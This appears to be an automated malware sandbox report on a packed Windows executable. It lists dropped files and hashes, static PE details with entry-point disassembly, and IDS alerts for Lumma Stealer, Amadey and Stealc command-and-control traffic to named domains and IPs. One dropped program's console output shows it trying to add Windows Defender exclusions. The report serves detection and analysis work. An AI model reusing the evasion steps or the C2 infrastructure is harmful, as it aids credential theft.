Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730248768);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.470416222455285
Encrypted:	false
SSDEEP:	192:knPOeRnLYbBp6VJ0aX+H6SEXKKN1io5RHWNBw8d2Sl:GDe4JUad1HEwD0
MD5:	291ACA81DA1479A5DB5A2D192720CD05
SHA1:	E9922418C606C17FBA96E1DD7B826DF08C2D6EAB
SHA-256:	369287504419D3D9DEA09C44077702DF232773CC0A1B19B57BBF279905EBEDC9
SHA-512:	FAC83AD62BCFEED1FA046753062845AA299BBA6947C936194ADDE5B82220379315758FC85612FE9D729A0FF8728E72B7A03D1CBEBAE4B004EBF4798D3DC7EB91
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730248768);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 8, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	BB6AF1BFE7DFA2D3D28DCA9C1D5C209F
SHA1:	D216BA7AF17521E30A8FFA1E5804827E6995F8D3
SHA-256:	4154A056F32C1395703E6842800E3987C035290F0B5EFAE666DC2DA978391563
SHA-512:	DC6946DE516315407B216C3C3945D820C3D2CA70C6ADE66BC96439CD304E7AF08FB5DBF17F1DD21E299FB3348E1C5F92FD64892FBF13C8FC002A10FEB6AD107B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.029299696245729
Encrypted:	false
SSDEEP:	96:yc03MTEr5/lLmI2Ac1zzcxvbw6Kkgmc2Rn27:FTEr5NX0z3DmRe
MD5:	35943380298B1F90AADFB1C347FF1478
SHA1:	A6BB29B5F528A52E9B557F6FEC96F7EAF4F7301D
SHA-256:	28B3952560AD063EFD227C2CBB6E22C8AA1931AAED2B17B698FA0E718DA0DF0F
SHA-512:	D7EDEE6A66E744643382E8DE11B0337F39B37F0349A40B5AA6EA1E10BB5CDBF8165B238B748A9E107C00CDCDD4521BE51B01E72DF419B925523819AACDD68879
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T00:39:31.157Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.029299696245729
Encrypted:	false
SSDEEP:	96:yc03MTEr5/lLmI2Ac1zzcxvbw6Kkgmc2Rn27:FTEr5NX0z3DmRe
MD5:	35943380298B1F90AADFB1C347FF1478
SHA1:	A6BB29B5F528A52E9B557F6FEC96F7EAF4F7301D
SHA-256:	28B3952560AD063EFD227C2CBB6E22C8AA1931AAED2B17B698FA0E718DA0DF0F
SHA-512:	D7EDEE6A66E744643382E8DE11B0337F39B37F0349A40B5AA6EA1E10BB5CDBF8165B238B748A9E107C00CDCDD4521BE51B01E72DF419B925523819AACDD68879
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T00:39:31.157Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4213281166916545
Encrypted:	false
SSDEEP:	6:YsEKX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lPQct0:Y4uQ1CGAFifXVPJt0
MD5:	0411D207A404BBC6A490FDD10A956398
SHA1:	9843153AD8427ECA62E611B8679A84FABDD11C45
SHA-256:	409EB75302C18681A8E2A4785036995DC941DB84358B2988A89989BB095F78E4
SHA-512:	4A079967731003B6E140A7F21CA8B9C4D1CD13A5DD3B320988A5EC7628A08484E28C697A1BEFEF3EEE066D8A0736010F218C2A19DE291E39D1E4FC0498985782
Malicious:	false
Preview:	....>...}.G./x+.C.~F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002474001\Session.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2024
Entropy (8bit):	4.670775491774205
Encrypted:	false
SSDEEP:	48:BQGm4QQ1Py/sQGm4QQ1PybQYm4QQ1PyJpjQGm4QQ1PyMQGm4QQ1PyPO1pO:BcdYcdvKdjcdYcdmpO
MD5:	95E1232207FE49BA6D716AEFA72F9241
SHA1:	3A4B1B7E12B35155B886483E8399055A04732371
SHA-256:	EBE9519C9C62A8DCC8F244B9C7E638B9333AA18A124092048E1A2C2781F6E4B9
SHA-512:	2590E2FE9C853C1892A4D55E6EE506EA631E1562CC7BA69E6FA9BC7537BA18280F3D7AD0CBAD8D938CE8F7CF09F7B20397249ECF39AFEE2A00CBAB1EF3EA1344
Malicious:	false
Preview:	Choose a task (1-5) within 2 seconds:..1. Calculate the sum of the first n natural numbers...2. Calculate the nth Fibonacci number...3. Calculate the greatest common divisor (GCD) of two numbers...4. Calculate the least common multiple (LCM) of two numbers...5. Calculate the sum of the digits of a number...No task selected within 2 seconds. Creating folder 'Jiras' on C: drive...Folder 'Lipras' created on C: drive...Choose a task (1-5) within 2 seconds:..1. Calculate the sum of the first n natural numbers...2. Calculate the nth Fibonacci number...3. Calculate the greatest common divisor (GCD) of two numbers...4. Calculate the least common multiple (LCM) of two numbers...5. Calculate the sum of the digits of a number...No task selected within 2 seconds. Adding folders to Windows Defender exclusions...Failed to add folders to Windows Defender exclusions...Choose a task (1-5) within 4 seconds:..1. Calculate the sum of the first n natural numbers...2. Calculate the nth Fibonacci number...3.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.544718100337845
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'932'224 bytes
MD5:	3f075d8a80c2881d26355e63cc367019
SHA1:	83af9a52025eee9430b93e7efc1d9a039b81985f
SHA256:	6e2b1ee5f03b5cc5117b10f8436ae0b716c0e2c7f3accf3d97928a322bf71e9e
SHA512:	339f6e25bfacbfcb001cd95457a41689536af710c18958c6cc757237d48dabb0bc9c219a0df78f49adb75fbc4ca15231a9db8c0b25b647d917370ca944d0cd9e
SSDEEP:	49152:3cdlTQk6/xjnE6BFW5FRj1O7zhswsc//Cg8wHW05OLv3:ITQt/xjnE6BFW5fBIzhswsc//Cg82l+
TLSH:	C2D52A92A54576CFD48E17789C27CEB26A5D07B94B240DC3D86CA47ABEA3CC111F6C38
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0.....>^-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fd000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD84CD8A0FAh
setl byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD84CD8C0F5h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FD84CD8A162h
push esi
dec edx
popad
je 00007FD84CD8A15Bh
push edx
dec esi
jc 00007FD84CD8A16Ah
cmp byte ptr [ebx], dh
push edx
jns 00007FD84CD8A137h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FD84CD8A13Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FD84CD8A147h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FD84CD8A13Ch
dec eax
dec ebp
jo 00007FD84CD8A133h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FD84CD8A140h
insd
jnc 00007FD84CD8A160h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FD84CD8A148h
push edx
insb
js 00007FD84CD8A161h
outsb
inc ecx
jno 00007FD84CD8A142h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FD84CD8A13Ch
dec ebx
js 00007FD84CD8A133h
jne 00007FD84CD8A121h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FD84CD8A14Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FD84CD8A12Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FD84CD8A163h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	75b964eb92f060c353480306f8ca4770	False	0.9980836108934169	data	7.979036878983604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rjghzmyp	0x5b000	0x2a1000	0x2a0200	badda78b46bcf56d99e35d0af0b1b0d6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zpnqiley	0x2fc000	0x1000	0x600	b870d278f861dfe5ec05ac9002db0f16	False	0.58984375	data	5.153015137800253	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fd000	0x3000	0x2200	7908907c768b0f382535264762894a32	False	0.39051011029411764	DOS executable (COM)	4.197266167904989	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T00:20:01.092754+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	63599	1.1.1.1	53	UDP
2024-10-30T00:20:01.109098+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	50909	1.1.1.1	53	UDP
2024-10-30T00:20:01.121794+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	57163	1.1.1.1	53	UDP
2024-10-30T00:20:01.137566+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	55927	1.1.1.1	53	UDP
2024-10-30T00:20:01.150677+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	59110	1.1.1.1	53	UDP
2024-10-30T00:20:02.179862+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-30T00:20:02.871440+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-30T00:20:02.871440+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-30T00:20:03.711751+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-30T00:20:04.041153+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-30T00:20:04.041153+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-30T00:20:05.042857+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-30T00:20:06.453985+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49707	188.114.97.3	443	TCP
2024-10-30T00:20:07.870280+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49708	188.114.97.3	443	TCP
2024-10-30T00:20:09.400677+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49709	188.114.97.3	443	TCP
2024-10-30T00:20:10.594308+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	188.114.97.3	443	TCP
2024-10-30T00:20:11.758073+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49710	188.114.97.3	443	TCP
2024-10-30T00:20:14.100928+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-30T00:20:14.699448+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-30T00:20:15.630323+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49712	185.215.113.16	80	TCP
2024-10-30T00:21:05.736549+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	59753	185.215.113.43	80	TCP
2024-10-30T00:21:09.074724+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59771	31.41.244.11	80	TCP
2024-10-30T00:21:11.380266+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	59765	TCP
2024-10-30T00:21:12.300964+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59786	185.215.113.43	80	TCP
2024-10-30T00:21:13.848827+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59787	185.215.113.16	80	TCP
2024-10-30T00:21:16.123341+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	58711	1.1.1.1	53	UDP
2024-10-30T00:21:16.147586+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	51452	1.1.1.1	53	UDP
2024-10-30T00:21:16.159819+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	60372	1.1.1.1	53	UDP
2024-10-30T00:21:16.176795+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	59095	1.1.1.1	53	UDP
2024-10-30T00:21:16.816370+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59788	188.114.97.3	443	TCP
2024-10-30T00:21:17.303967+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59788	188.114.97.3	443	TCP
2024-10-30T00:21:17.303967+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59788	188.114.97.3	443	TCP
2024-10-30T00:21:17.839794+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59789	185.215.113.43	80	TCP
2024-10-30T00:21:17.989691+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59790	188.114.97.3	443	TCP
2024-10-30T00:21:18.496354+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	59790	188.114.97.3	443	TCP
2024-10-30T00:21:18.496354+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59790	188.114.97.3	443	TCP
2024-10-30T00:21:18.762479+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59791	185.215.113.16	80	TCP
2024-10-30T00:21:19.666462+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59792	188.114.97.3	443	TCP
2024-10-30T00:21:21.565322+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59793	188.114.97.3	443	TCP
2024-10-30T00:21:23.296962+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59794	185.215.113.43	80	TCP
2024-10-30T00:21:23.627273+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59795	188.114.97.3	443	TCP
2024-10-30T00:21:24.236068+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59797	185.215.113.16	80	TCP
2024-10-30T00:21:24.276879+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59796	185.215.113.206	80	TCP
2024-10-30T00:21:25.908915+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59798	188.114.97.3	443	TCP
2024-10-30T00:21:26.388880+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	59798	188.114.97.3	443	TCP
2024-10-30T00:21:27.819363+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59799	188.114.97.3	443	TCP
2024-10-30T00:21:28.399342+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59800	185.215.113.43	80	TCP
2024-10-30T00:21:29.311403+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	59802	185.215.113.16	80	TCP
